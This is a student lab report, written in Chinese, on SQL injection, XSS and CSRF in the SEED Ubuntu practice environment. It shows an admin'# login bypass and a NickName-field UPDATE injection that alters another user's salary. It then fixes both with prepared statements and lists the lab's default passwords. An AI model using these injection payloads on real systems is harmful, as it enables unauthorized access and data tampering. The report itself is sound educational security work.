20253902 吴晨宇 2025-2026-2 《网络攻防实践》第10周作业
一、知识点总结
1.1 SQL注入漏洞
SQL 注入漏洞是 Web 安全中非常典型的一类漏洞。它通常出现在应用程序把用户输入的数据直接拼接到 SQL 语句中,并交给数据库执行的场景中。如果程序没有对输入内容进行有效校验,也没有使用参数化查询,那么攻击者就可能通过构造特殊输入,改变原本 SQL 语句的语义,从而执行非预期的数据库操作。
从本质上看,SQL 注入产生的原因主要包括以下几点:
| 产生原因 | 具体说明 |
|---|---|
| 用户输入未校验 | 程序直接信任用户提交的账号、密码、搜索关键词、URL 参数等内容 |
| SQL 语句直接拼接 | 后端把输入内容以字符串拼接方式放入 SQL 语句中 |
| 数据库权限过大 | Web 应用连接数据库的账号拥有过高权限,扩大了漏洞影响 |
| 错误信息暴露 | 数据库报错信息直接显示到页面,可能帮助攻击者判断表名、字段名或 SQL 结构 |
SQL 注入的常见类型包括联合查询注入、报错注入、布尔盲注、时间盲注等。不同类型的注入方式表现不同,但核心问题都是输入数据和 SQL 语句结构没有被正确隔离。
SQL 注入可能造成的危害比较严重,例如:
- 绕过登录验证;
- 查询数据库中的敏感信息;
- 修改、删除数据库内容;
- 获取管理员权限;
- 在配置不当的情况下进一步影响服务器安全。
针对 SQL 注入漏洞,常见的防御方式包括:
-
使用参数化查询或预编译语句
这是防御 SQL 注入最重要的方法。程序应把用户输入作为参数处理,而不是直接拼接进 SQL 语句。 -
避免直接拼接 SQL 字符串
对于用户提交的内容,不应该通过字符串连接的方式直接组成数据库查询语句。 -
进行输入校验
对于用户名、编号、页码、排序字段等输入,应尽量使用白名单校验。例如数字字段只允许数字,固定选项只允许出现在规定范围内。 -
限制数据库账号权限
Web 应用连接数据库的账号应遵循最小权限原则,只授予业务所需权限,避免一个普通功能账号拥有删除表、修改结构等高危权限。 -
关闭详细错误回显
数据库错误信息不应直接显示给用户。前端可以给出统一错误提示,详细日志应保存在服务器端,便于开发人员排查。
我理解下来的SQL 注入的关键问题不是“用户输入了特殊字符”,而是程序把用户输入当成了 SQL 语句的一部分执行。因此,防御的重点是让数据和 SQL 语句结构彻底分离。这个其实和RCE(远程代码执行)、XSS的思路差不多,本质上都是错误地将用户输入视作代码段的一部分执行。
1.2 XSS漏洞
XSS,全称为 Cross-Site Scripting,即跨站脚本攻击。它指的是攻击者将恶意脚本注入到网页中,当其他用户访问该页面时,浏览器会执行这些脚本,从而造成信息泄露、身份冒用、页面篡改或自动发送请求等安全问题。
XSS 的本质是:Web 页面把不可信输入当作可信的 HTML、JavaScript 或 DOM 内容进行解析和执行。
1.2.1 反射型 XSS(非持久型)
反射型 XSS 又称非持久型 XSS。它的特点是恶意代码不会长期保存在目标网站中,而是通过 URL 参数、搜索框、错误提示等方式被服务器“反射”回页面。
一般情况下,受害者需要点击攻击者构造好的链接。当服务器没有对 URL 参数进行过滤或编码时,页面会把参数中的脚本内容直接输出到浏览器,导致脚本被执行。
反射型 XSS 的特点包括:
- 攻击通常依赖诱导用户点击恶意链接;
- 恶意代码一般不会存入数据库;
- 攻击具有一次性和即时性;
- 常见于搜索结果页、错误提示页、跳转参数等位置。
1.2.2 存储型 XSS(持久型)
存储型 XSS 是危害较大的一类 XSS。它指的是应用程序通过 Web 请求获取了不可信数据,并且在没有过滤的情况下将其保存到数据库中。当其他用户访问相关页面时,服务器又把这段内容从数据库中读取并展示到页面上,最终导致浏览器执行其中的脚本。
存储型 XSS 常见于:
- 留言板;
- 评论区;
- 用户昵称;
- 个人简介;
- 博客文章;
- 站内信;
- 商品评价。
它的危险性在于恶意代码会长期保存在服务器中,只要其他用户访问包含该内容的页面,就可能触发攻击。因此,存储型 XSS 往往比反射型 XSS 更容易造成持续影响。
在本次实验中,用户资料中的 About me 字段就是一个典型的用户可控输入位置。如果该字段没有被正确过滤,攻击者就可以把脚本写入资料页。当其他用户访问该资料页时,脚本可能在访问者浏览器中执行。
1.2.3 DOM 型 XSS(非持久型)
DOM 的全称是 Document Object Model,即文档对象模型。它提供了一种通过脚本动态访问和修改网页内容、结构和样式的方式。
DOM 型 XSS 与前两类 XSS 的区别在于,它的问题主要发生在前端 JavaScript 处理数据的过程中,不一定需要服务器直接参与。例如,前端脚本从 URL、锚点、输入框或本地存储中读取数据后,直接通过 innerHTML 等方式写入页面,就可能导致恶意脚本被执行。
DOM 型 XSS 的特点包括:
- 漏洞主要出现在前端代码中;
- 攻击数据可能不经过服务器;
- 需要重点检查 JavaScript 对 DOM 的操作;
- 常见危险点包括
innerHTML、document.write、动态拼接脚本等。
1.2.4 XSS 的危害
XSS 攻击一旦成功,脚本会在受害者浏览器中执行,并且通常具有当前用户的页面上下文权限。因此,它可能造成以下影响:
| 危害类型 | 具体表现 |
|---|---|
| 窃取信息 | 获取页面中的敏感数据或用户身份信息 |
| 冒用身份 | 利用当前用户登录状态发送请求 |
| 篡改页面 | 修改页面内容,诱导用户进行错误操作 |
| 自动操作 | 自动加好友、修改资料、发送消息等 |
| 蠕虫传播 | 脚本被写入更多用户页面,形成持续传播 |
1.2.5 XSS 的防御方法
XSS 防御不能只依赖某一个措施,而应该从输入、存储、输出和浏览器安全策略多个方面共同处理。
-
对输入和 URL 参数进行过滤
程序应检查用户输入中是否包含危险字符或危险标签,例如:
< > ' " script javascript:对于不符合业务要求的输入,可以进行拒绝、过滤或编码。实际开发中更推荐使用白名单策略,例如只允许输入规定格式的昵称、手机号、邮箱或链接。
-
进行 HTML 实体编码
当用户输入内容需要显示在 HTML 页面中时,应对特殊字符进行实体编码。例如把
<、>等字符转换成不会被浏览器当作标签解析的形式。这样浏览器会把内容当作普通文本显示,而不是当作 HTML 或 JavaScript 执行。
-
根据输出位置进行编码
XSS 防御需要区分不同的输出环境。输出到 HTML 正文、HTML 属性、JavaScript 字符串、URL 参数时,使用的编码方式并不完全相同。
例如:
输出位置 防御重点 HTML 正文 进行 HTML 实体编码 HTML 属性 对引号、尖括号等进行编码 JavaScript 中 避免直接拼接用户输入 URL 中 进行 URL 编码并限制协议 -
限制 URL 协议
如果用户可以提交链接,程序应检查链接是否必须以
http://或https://开头。这里要注意,不能只判断字符串中是否“包含”http或https,而应该判断开头是否符合要求,避免绕过。 -
避免危险的 DOM 操作
前端代码应尽量避免把用户输入直接写入
innerHTML。如果只是展示文本,可以使用更安全的文本写入方式,避免浏览器把内容解析成 HTML。 -
启用安全过滤组件
对于允许用户输入富文本的场景,可以启用可靠的 HTML 过滤组件,只允许安全标签和安全属性通过。例如在 Elgg 实验环境中,可以通过启用
HTMLawed插件来过滤用户输入中的危险脚本内容。 -
设置 Cookie 安全属性
可以为 Cookie 设置
HttpOnly、Secure、SameSite等属性,降低 XSS 成功后进一步利用用户身份信息的风险。
XSS 防御的核心不是简单删除某几个关键字,而是要根据数据进入、保存和输出的位置进行整体防护。尤其是用户资料、评论、留言这类长期保存内容的位置,更应该重点检查。
1.3 CSRF
CSRF,全称为 Cross-Site Request Forgery,即跨站请求伪造。它指的是攻击者诱导已经登录目标网站的用户访问恶意页面,使用户的浏览器在不知情的情况下向目标网站发送请求。由于浏览器会自动携带目标网站的登录 Cookie,服务器可能误以为该请求是用户本人主动发起的。
CSRF 产生的关键原因是:服务器只依赖 Cookie 判断用户身份,却没有进一步确认请求是否真的来自用户本人的操作。
1.3.1 CSRF 的攻击过程
CSRF 的一般过程可以理解为:
- 用户已经登录目标网站;
- 目标网站在浏览器中保存了用户的登录状态;
- 攻击者诱导用户访问恶意页面;
- 恶意页面自动向目标网站发送请求;
- 浏览器自动携带目标网站的 Cookie;
- 目标网站误认为请求来自用户本人;
- 请求被执行,导致用户信息或状态被修改。
CSRF 常见的攻击目标包括:
| 攻击目标 | 可能后果 |
|---|---|
| 修改个人资料 | 用户昵称、邮箱、简介被修改 |
| 修改密码或绑定信息 | 账号安全受到影响 |
| 发布内容 | 用户在不知情的情况下发布消息 |
| 添加好友 | 用户关系被恶意改变 |
| 转账或提交订单 | 在高风险系统中可能造成经济损失 |
1.3.2 CSRF 与 XSS 的区别
CSRF 和 XSS 都可能利用用户的登录状态,但两者的攻击方式不同。
| 对比项 | XSS | CSRF |
|---|---|---|
| 攻击核心 | 注入并执行脚本 | 伪造用户请求 |
| 是否需要脚本执行 | 通常需要 | 不一定需要 |
| 是否利用 Cookie | 可以利用 | 主要依赖浏览器自动携带 Cookie |
| 漏洞位置 | 页面输出、前端 DOM、存储内容 | 请求校验机制 |
| 防御重点 | 输入过滤、输出编码、CSP | Token 校验、SameSite、来源校验 |
简单来说,XSS 是让脚本在用户浏览器中执行,而 CSRF 是让用户浏览器在不知情的情况下发送请求。
1.3.3 CSRF 的防御方法
-
使用 CSRF Token
服务器在表单页面中生成随机 Token,并在用户提交请求时进行校验。攻击者无法从第三方页面直接获得正确 Token,因此伪造请求会失败。
-
校验 Origin 或 Referer
服务器可以检查请求来源,判断请求是否来自可信页面。如果请求来源异常,可以拒绝处理。不过这种方式通常作为辅助防御,不应单独依赖。
-
设置 SameSite Cookie
为 Cookie 设置
SameSite属性,可以减少浏览器在跨站请求中自动携带 Cookie 的情况,从而降低 CSRF 风险。 -
重要操作要求二次确认
对于修改密码、绑定邮箱、资金操作等敏感行为,可以要求用户再次输入密码、验证码或进行二次确认。
-
避免使用 GET 请求执行敏感操作
GET 请求更容易被图片、链接、脚本等方式触发。涉及修改数据的操作应使用 POST,并配合 Token 校验。
CSRF 防御的重点是:服务器不能只看到 Cookie 就相信请求是用户本人发起的,还要验证请求是否来自合法页面、是否携带正确 Token,以及是否符合正常业务流程。
1.4 默认用户安全隐患
默认用户安全隐患指的是系统、平台、数据库、Web 应用或实验环境中预置了默认账号、默认密码、测试账号或弱口令账号。如果这些账号没有被及时修改或删除,就可能被攻击者利用。
在实验环境中,默认用户可以方便我们快速登录不同角色进行测试。但在真实环境中,默认账号往往是非常明显的安全风险。
常见的默认用户安全隐患包括:
| 隐患类型 | 具体说明 |
|---|---|
| 默认账号未删除 | 系统上线后仍保留 admin、test、guest 等账号 |
| 默认密码未修改 | 使用安装文档、镜像或靶场中公开的默认密码 |
| 测试账号权限过高 | 测试账号拥有管理员权限或敏感数据访问权限 |
| 多用户共用账号 | 无法区分具体操作人员,审计困难 |
| 弱口令 | 密码过短、过简单,容易被猜测 |
| 账号长期未使用 | 僵尸账号被遗忘,但仍然可以登录系统 |
默认用户可能带来的危害包括:
- 攻击者可以直接尝试使用公开默认口令登录;
- 测试账号可能绕过正常权限管理;
- 管理员默认账号一旦被利用,可能直接控制系统;
- 多人共用账号会导致日志审计不清晰;
- 长期未清理的账号可能成为后续入侵入口。
针对默认用户安全隐患,可以采取以下防护措施:
-
系统上线前修改所有默认密码
安装完成后,应立即修改管理员、数据库、后台系统等默认账号的密码。
-
删除不必要的默认账号和测试账号
对于不再使用的
test、guest、demo等账号,应及时删除或禁用。 -
遵循最小权限原则
普通用户、测试用户和管理员用户应严格区分权限,不能为了方便测试就长期保留高权限账号。
-
启用强密码策略
密码应具备足够长度和复杂度,并避免使用姓名、学号、生日、简单数字等容易猜测的内容。
-
开启登录失败限制和日志审计
系统应记录登录行为,并对连续登录失败进行限制,便于发现异常尝试。
-
保护后台管理入口
管理后台不应直接暴露给所有用户访问,可以结合访问控制、白名单、二次认证等方式提高安全性。
-
定期检查账号列表
管理员应定期检查系统账号,清理长期未使用账号,确认每个账号都有明确用途和责任人。
默认用户的风险在于“方便”往往会变成“入口”。实验环境中默认账号便于观察不同角色的行为,但真实系统上线前必须清理默认账号、修改默认密码,并严格控制权限范围。
1.5 owasp top 10
本次实验涉及的 SQL 注入、XSS、CSRF 以及默认用户安全隐患均与 OWASP Top 10 2025 风险类别存在对应关系。其中 SQL 注入和 XSS 当前主要归入 Injection 类别,CSRF 曾作为独立风险出现,后来更多被归入 Broken Access Control 相关 CWE 中;默认账号和默认密码问题则属于 Security Misconfiguration。总体来看,这些问题都属于 Web 应用安全中长期需要重点关注的典型风险。
1.6 小结
通过对 SQL 注入、XSS、CSRF 和默认用户安全隐患的学习,我认识到 Web 安全问题往往不是单一代码错误造成的,而是输入处理、身份认证、权限控制和安全配置共同作用的结果。
| 漏洞或隐患 | 核心问题 | 防御重点 |
|---|---|---|
| SQL 注入 | 用户输入被当作 SQL 语句执行 | 参数化查询、输入校验、最小权限 |
| XSS | 用户输入被浏览器当作脚本执行 | 输出编码、输入过滤、HTML 清洗、CSP |
| CSRF | 服务器误信浏览器自动携带的身份凭证 | CSRF Token、SameSite、来源校验 |
| 默认用户安全隐患 | 默认账号或弱口令被利用 | 修改默认密码、删除测试账号、最小权限 |
总体来看,安全防护应贯穿开发、部署和运维全过程。开发阶段要避免危险的代码写法,部署阶段要关闭默认配置和测试账号,运行阶段则需要持续监控日志、检查权限并及时修复风险。
二、操作流程
2.1 安装靶机
安装过程整体比较简单,所以这一部分我不做过多展开,主要记录安装过程中几个比较重要的步骤,以及我遇到的问题和处理思路。
在创建虚拟机时,我选择使用已有的虚拟磁盘文件,而不是重新创建新的虚拟磁盘。这样可以直接导入课程实验提供的 SEED Ubuntu 环境。

图 2-1 在创建虚拟机时选择使用现有虚拟磁盘文件。
随后,我选择实验环境对应的虚拟磁盘文件。这里可以看到目录下还有一些 s001、s002 等文件,它们是 VMware 虚拟机虚拟硬盘被拆分后的多个数据分卷文件。实际选择时,我需要选择图中对应的主虚拟磁盘文件,而不是随意选择某一个分卷文件。

图 2-2 选择 SEED Ubuntu 实验环境对应的虚拟磁盘文件。
在选择虚拟磁盘文件时,我主要关注文件名和文件类型。由于同一虚拟磁盘可能会被拆分成多个分卷文件,如果选择错误,虚拟机可能无法正常导入或启动。
虚拟机启动后,我遇到了虚拟化相关的问题。根据提示内容,我判断这是本机虚拟化配置与 VMware 当前运行环境存在冲突导致的,因此需要关闭相关虚拟化设置后再重新尝试启动。

图 2-3 虚拟机启动时出现虚拟化相关提示。
进入 SEED Ubuntu 后,我发现该环境并不是自带 VMware Tools 的状态。为了后续能够更方便地进行窗口自适应、复制粘贴等操作,我选择手动下载 VMware Tools。

图 2-4 在 SEED Ubuntu 中下载 VMware Tools。
下载完成后,我开始准备安装 VMware Tools。安装前需要先找到下载得到的压缩包,然后再进行解压和后续安装操作。

图 2-5 下载完成后准备安装 VMware Tools。
接着,我使用 tar 命令对 VMware Tools 的压缩包进行解压。这里使用的命令如下:
tar -zxvf VMwareTools-*.tar.gz
其中,-z 表示通过 gzip 处理压缩文件,-x 表示解压,-v 表示显示解压过程,-f 表示指定文件名。通过终端输出可以看到,系统正在解压 VMware Tools 相关文件。

图 2-6 使用 tar -zxvf 命令解压 VMware Tools 压缩包。
解压完成后,我进入解压后的目录,并运行对应的安装程序。安装过程中终端会出现一些交互式提示,我根据默认提示继续安装。
cd vmware-tools-distrib
sudo ./vmware-install.pl

图 2-7 进入解压目录后运行 VMware Tools 安装程序。
2.2 sql
2.2.1 启动服务并且修改系统名
完成 SEED Ubuntu 基础环境配置后,我开始按照题目要求启动 Web 服务,并修改系统中的主机名和 hosts 配置文件。
首先,我使用下面的命令启动 Apache2 服务:
sudo service apache2 start
执行命令后,终端没有出现明显报错,说明 Apache2 服务启动过程基本正常。后续实验如果需要访问本机 Web 服务,就可以基于该服务继续进行。

图 1-11 使用命令启动 Apache2 服务。
在正式进行 Web 相关实验之前,我先启动 Apache2 服务,这样可以保证后续访问网页或验证服务状态时有对应的 Web 服务环境。
按照题目要求,接下来需要修改操作系统中的主机名配置文件 /etc/hostname。该文件用于保存系统当前使用的主机名,因此我需要将其修改为实验要求指定的名称。
sudo vim /etc/hostname
在文件中,我将主机名修改为题目要求的内容。这里需要注意,/etc/hostname 中通常只保留主机名本身,不需要写入多余的解释内容。

图 1-12 修改 /etc/hostname 文件中的主机名内容。
修改完 /etc/hostname 后,我继续修改 /etc/hosts 文件。该文件主要用于配置主机名与 IP 地址之间的对应关系。为了让系统能够正确解析修改后的主机名,我需要在 hosts 文件中加入或修改与 20253902wuchenyu 相关的记录。
sudo vim /etc/hosts
在编辑过程中,我将主机名配置为:
20253902wuchenyu

图 1-13 修改 /etc/hosts 文件中的主机名映射内容。
/etc/hostname和/etc/hosts需要配合修改。前者决定系统主机名,后者负责主机名解析。如果只修改其中一个文件,后续可能会出现主机名解析异常或终端提示不一致的情况。
2.2.2 渗透尝试
这一部分我开始访问 SQL 注入实验对应的网站,并通过登录页面观察输入内容与后端查询之间的关系。实验过程中,我没有一开始就直接给出结论,而是先从正常登录和异常输入两个角度进行尝试,也更加符合做渗透测试时候的攻击尝试。
首先,我在浏览器中访问实验提供的 SQL 注入网站,可以看到页面显示的是 Employee Profile Login 登录界面。该页面主要包含用户名、密码输入框以及登录按钮。

图 2-8 访问 SQL 注入实验网站后显示登录页面。
接着,我先尝试使用自己的学号姓名作为用户名,并在密码框中随意输入内容进行登录。这样做的目的是先观察普通输入情况下,网站会如何返回结果。

图 2-9 在登录页面中输入普通用户名和密码。
提交后,页面提示该账户信息不存在。根据这个现象,我可以初步判断,后端会根据用户名和密码去数据库中查询对应账户;如果查询不到匹配记录,就会返回账户不存在的提示。

图 2-10 登录后页面提示账户信息不存在。
这里我先使用普通输入进行测试,是为了确认登录功能的基本反馈方式,后面再输入特殊字符时,才能更清楚地判断异常现象是否与 SQL 查询有关。
随后,我在用户名后面加入单引号进行测试。单引号在 SQL 语句中经常用于闭合字符串,因此我想观察页面是否会因为输入内容影响后端 SQL 语句结构。
20253902wcy'

图 2-11 在用户名输入框中加入单引号进行测试。
提交后,页面返回了 SQL 语法错误信息。这里并不是直接说明已经成功注入,而是说明我的输入内容可能被拼接进了后端 SQL 查询语句中,并且单引号破坏了原有 SQL 语句的结构。

图 2-12 页面返回 SQL 语法错误信息。
看到 SQL 语法错误后,我可以初步判断该登录页面可能没有对用户输入进行充分过滤或参数化处理。这里的判断仍然是基于页面反馈进行的推测,后续还需要继续构造输入进行验证。
在确认单引号会影响后端查询后,我继续构造输入,尝试通过注释符截断后续 SQL 条件。这里我在用户名位置输入:
admin'#
其中,前面的单引号用于尝试闭合原本的字符串,# 在 MySQL 中可以作为注释符使用,用来注释掉后续内容。这样就有可能绕过原本的密码判断部分。admin是大部分系统的默认用户名(类似的还有Administrator、root等等超级用户名)

图 2-13 在用户名输入框中输入 admin'# 进行测试。
提交后,页面跳转到了用户信息页面,并显示了用户信息表格。根据页面返回结果,可以初步判断这次构造输入改变了原本登录查询的判断逻辑,使页面返回了登录后的用户信息内容。

图 2-14 登录后页面显示用户信息表格。
通过这一小节实验,我从普通登录失败、单引号触发 SQL 报错、再到构造输入进入用户信息页面,逐步验证了该登录页面存在 SQL 注入风险。整个过程的重点不是直接记住某个 payload,而是通过页面反馈分析用户输入是否被拼接进 SQL 查询语句中。
2.2.3 正式进行渗透测试
在前一小节中,我已经通过登录页面的返回结果初步判断该网站可能存在 SQL 注入问题。接下来,我开始进一步分析页面请求和后端查询逻辑,尝试确认输入内容是如何影响 SQL 语句执行的。
首先,我在浏览器中按 F12 打开开发者工具,并使用页面元素选择功能定位登录页面中对应的前端代码。通过高亮显示,我可以比较直观地看到输入框、按钮等页面元素和 HTML 代码之间的对应关系。

图 2-15 使用浏览器开发者工具定位登录页面前端代码。
我使用开发者工具的目的不是修改页面显示效果,而是先确认表单结构、请求方式以及页面元素之间的关系,为后续分析登录请求做准备。
随后,我观察登录请求对应的访问地址,并将构造后的内容输入到浏览器地址栏中进行测试。通过这种方式,我可以更直接地观察参数变化对页面返回结果的影响。

图 2-16 在浏览器地址栏中输入文件地址。
根据实验页面对应的代码逻辑,后端 SQL 查询语句大致如下:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
从这段代码可以看出,用户输入的 $input_uname 被直接拼接到了 SQL 查询语句中。如果输入内容中包含单引号、注释符等特殊字符,就可能改变原本的查询条件。

图 2-17 查看登录功能对应的 SQL 查询语句。
按照这段 SQL 逻辑,正常情况下后端会同时判断用户名和密码:
WHERE name= '$input_uname' and Password='$hashed_pwd'
也就是说,只有用户名和密码都满足条件时,才会返回对应用户信息。而如果我在用户名处构造输入,例如闭合前面的字符串,并使用注释符注释掉后面的密码判断,就可能让后端只根据用户名进行查询。
我们也可以发现有一个判断账户是否为admin,通过注释If the user is a normal user.可以判断admin应该是超级用户。

图 2-18 页面返回并显示 admin 用户信息。
所以可以构造为:admin'#,完整的语句是:
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= 'admin'#' and Password='$hashed_pwd';
此时 SQL 语句的逻辑可以初步理解为:先匹配用户名为 admin 的记录,后面的密码判断部分被注释符影响,不再按照原来的方式参与判断。也就是这样WHERE name= 'admin'#' and Password='$hashed_pwd',可以直接登陆。
这里的分析是结合源码片段和页面返回现象进行的。由于用户输入被直接拼接进 SQL 语句中,所以我判断该位置存在明显的 SQL 注入风险。
完成构造后,页面返回了用户信息。从返回结果中可以看到当前显示的用户为 admin,这说明我的构造输入影响了原本的登录判断逻辑,并成功让页面返回了管理员用户相关信息。

图 2-19 登录后页面显示用户信息表格。
2.2.4 update
在本小节中,我继续对用户资料更新功能进行分析。由于该功能会把用户输入写入数据库,所以我重点关注了前端表单提交方式、后端 SQL 拼接逻辑,以及输入内容是否会被直接带入 UPDATE 语句中。
首先,我进入 Alice 用户的个人资料页面,并点击页面左上角的 Edit Profile,准备查看资料修改功能的具体实现。

图 2-20 Alice 用户资料页面中的 Edit Profile 入口。
随后,我使用浏览器开发者工具查看页面源码,发现资料修改表单的提交目标为 unsafe_edit_backend.php,并且提交方法为 get。这说明表单中的输入内容会通过 URL 参数传递给后端脚本。

图 2-21 开发者工具中查看到的资料编辑表单提交方式。
我注意到这里的表单使用
GET方法提交,并且后端文件名中带有unsafe,因此我判断该功能很可能没有对用户输入进行充分过滤。
接着,我继续查看后端处理逻辑。在 unsafe_edit_backend.php 中,用户提交的 NickName、Email、Address、PhoneNumber 等参数会被直接拼接进 SQL 语句。如果密码字段为空,则后端会执行不包含 Password 字段的 UPDATE 语句。

图 2-22 后端脚本中用于更新用户资料的 SQL 拼接代码。
从代码中可以看到,当密码为空时,后端会执行类似下面的 SQL 语句:
UPDATE credential
SET nickname='$input_nickname',
email='$input_email',
address='$input_address',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;
这里的 nickname 字段直接使用了用户输入的内容,并没有进行参数化处理或转义。因此,我尝试在 NickName 输入框中构造 SQL 注入语句,使原本只修改 Alice 资料的更新语句,额外修改 Boby 用户的工资字段。
我在 NickName 输入框中输入如下内容:
', salary='20253902' where Name='Boby';#

图 2-23 在 Alice 的资料编辑页面中向 NickName 字段输入构造内容。
结合后端 SQL 拼接逻辑,我推测实际执行的 SQL 语句会被构造成类似下面的形式:
UPDATE credential
SET nickname='', salary='20253902' where Name='Boby';#',
email='$input_email',
address='$input_address',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;
其中,# 后面的内容会被作为注释处理。这样原本用于更新 Alice 信息的语句,就被改变成了更新 Boby 用户工资字段的语句。
为了验证修改是否生效,我退出当前用户后,改用 Boby 用户登录系统。

图 2-24 使用 Boby 用户账号登录 XSS Lab Site。
登录 Boby 用户后,我进入其个人资料页面,观察到 Salary 字段显示为前面构造时填写的数值 20253902。由此可以初步判断,前面的 UPDATE 注入语句已经对 Boby 用户的数据产生了影响。

图 2-25 Boby 用户资料页面中 Salary 字段的显示结果。
通过这一部分实验,我进一步理解了资料更新功能中的 SQL 注入风险:当后端直接把用户输入拼接进
UPDATE语句时,攻击者可以通过闭合字段值、添加新的赋值语句和注释后续内容,改变原本 SQL 语句的执行逻辑。
2.2.5 防御
在前面的实验中,我已经验证了登录功能和资料更新功能都存在 SQL 注入风险。本小节中,我尝试对相关 PHP 文件进行修改,使用参数化查询的方式降低 SQL 注入风险。
在正式修改之前,我先对原始文件进行备份。这样即使后续修改出现问题,也可以通过备份文件恢复到原来的实验状态。
sudo cp unsafe_home.php unsafe_home.php.bak && sudo mv unsafe_home.php unsafe_home20253902.php
sudo cp unsafe_edit_backend.php unsafe_edit_backend.php.bak && sudo mv unsafe_edit_backend.php unsafe_edit_backend20253902.php
由于文件名发生了变化,我还需要同步修改前端页面中的表单提交路径,使页面能够继续提交到修改后的 PHP 文件。
sudo sed -i 's/action="unsafe_home\.php"/action="unsafe_home20253902.php"/g' index.html
sudo sed -i 's/action="unsafe_edit_backend\.php"/action="unsafe_edit_backend20253902.php"/g' unsafe_edit_frontend.php

图 2-26 备份原始 PHP 文件并修改前端表单提交路径。
我在修改代码前先进行备份,是为了避免直接覆盖原始实验文件。这样既能保留漏洞版本用于对比,也方便在修改失败时回滚。
接着,我使用 vim 打开登录功能对应的后端文件,准备修改其中的 SQL 查询逻辑。
vim /var/www/SQLInjection/unsafe_home.php

图 2-27 使用 vim 打开 unsafe_home.php 文件并查看原始 SQL 查询代码。
从原始代码可以看到,登录功能中直接将用户名和密码拼接进 SQL 语句。这种写法会导致用户输入被当作 SQL 语句的一部分执行,从而产生 SQL 注入风险。
修改时,我将原来的字符串拼接查询替换为预处理语句。预处理语句会先固定 SQL 语句结构,再将用户输入作为参数绑定进去,从而避免输入内容改变 SQL 语句原本的语义。

图 2-28 将登录功能中的 SQL 拼接查询替换为预处理查询。
修改后的思路可以概括为:先使用 prepare() 创建带占位符的 SQL 语句,再使用 bind_param() 绑定用户名和密码,最后通过 execute() 执行查询。
$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name=? and Password=?");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$result = $stmt->get_result();
随后,我继续修改资料更新功能对应的后端文件。
vim /var/www/SQLInjection/unsafe_edit_backend.php

图 2-29 使用 vim 修改 unsafe_edit_backend.php 中的资料更新逻辑。
资料更新功能同样需要重点处理 SQL 拼接问题。由于该功能会把 NickName、Email、Address、PhoneNumber 等用户输入写入数据库,如果仍然直接拼接字符串,就可能被构造特殊输入改变 UPDATE 语句的执行逻辑。
因此,我同样使用预处理语句对更新操作进行改写。对于不修改密码的情况,可以使用类似下面的写法:
$stmt = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=?");
$stmt->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$stmt->execute();
如果用户同时修改密码,则需要把密码字段也放入预处理语句中:
$stmt = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=?, Password=? WHERE ID=?");
$stmt->bind_param("sssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $hashed_pwd, $id);
$stmt->execute();
完成代码修改后,我重新在页面中提交前面使用过的注入语句,验证防御是否生效。

图 2-30 在页面中重新提交构造输入并观察系统响应。
从验证过程来看,构造输入没有再像前面一样改变 SQL 语句结构,而是被当作普通字符串参数处理。可以初步判断,使用预处理语句后,登录查询和资料更新功能的 SQL 注入风险得到了有效缓解。
通过本节实验,我认识到 SQL 注入的根本原因并不是某一个特殊字符本身,而是程序把用户输入直接拼接进了 SQL 语句。使用预处理语句后,SQL 语句结构和用户输入数据被分离,攻击者即使输入带有引号、注释符或 SQL 关键字的内容,也不会再被数据库解释为新的 SQL 逻辑。
2.2.6 数据库查看
在前面的实验中,我主要是通过 Web 页面观察用户信息的变化。为了进一步确认数据库中的真实数据,本小节我直接进入 MySQL,对相关数据库和数据表进行查看。
首先,我在终端中使用 root 用户登录 MySQL。这里命令中直接带了密码,因此 MySQL 提示在命令行中使用密码存在安全风险,不过不影响本次实验继续进行。
mysql -u root -pseedubuntu

图 2-31 使用 root 用户登录 MySQL 后进入交互界面。
进入 MySQL 后,我先查看当前环境中存在的数据库,确认与本次实验相关的数据库名称。
show databases;

图 2-32 执行 show databases 命令后显示的数据库列表。
从数据库列表中可以看到,当前环境中存在 Users、elgg_csrf、elgg_xss 等数据库。由于前面 SQL 注入实验主要围绕用户凭据表展开,因此我切换到 Users 数据库,并查看其中的数据表。
use Users;
show tables;

图 2-33 切换到 Users 数据库并查看其中的数据表。
可以看到,Users 数据库中存在 credential 表。结合前面代码分析中出现的 SQL 语句,我判断该表就是保存用户身份信息和个人资料信息的主要数据表。
接下来,我直接查询 credential 表中的全部记录,观察表中包含的字段和用户数据。
select * from credential;

图 2-34 执行 select * from credential 后显示的用户记录。
从查询结果可以看到,credential 表中包含 ID、Name、EID、Salary、birth、SSN、PhoneNumber、Address、Email、NickName、Password 等字段。这里的 Password 字段并不是明文显示,而是以一串哈希值的形式存储。
为了减少输出内容,我继续使用 where 条件筛选部分记录,只查看 ID <= 3 的用户信息。
select * from credential where ID <=3;

图 2-35 使用 ID 条件筛选 credential 表中的部分用户记录。
通过这种方式,我可以更清楚地观察指定范围内用户的字段值,避免一次性输出全部记录导致终端内容过长。
最后,我按照用户名进行筛选,只查看 Alice 用户对应的记录。
select * from credential where Name='Alice';

图 2-36 使用 Name 条件查询 Alice 用户在 credential 表中的记录。
通过这一组数据库查询,我可以直接从数据库层面确认 Web 页面中用户信息的来源。前面实验中涉及的用户姓名、工资、生日、SSN、密码哈希等字段,都可以在 credential 表中找到对应数据。
通过直接查看数据库,我进一步确认了 Web 应用中的用户资料来自
Users数据库下的credential表。后续分析 SQL 注入时,可以结合该表的字段名称和数据内容,更准确地判断注入语句对数据库造成的实际影响。
2.3 XSS漏洞
2.3.1 存储型xss
本小节中,我主要通过 Elgg XSS Lab 站点验证一个简单的存储型 XSS 流程。实验账号如下:
| 用户名 | 密码 |
|---|---|
| Alice | seedalice |
| Boby | seedboby |
| Samy | seedsamy |
| Admin | seedelgg |
我首先使用 Alice 账号登录实验站点,为后续修改个人资料并插入脚本做准备。

图 2-3-1 使用 Alice 账号在 Elgg 站点登录。
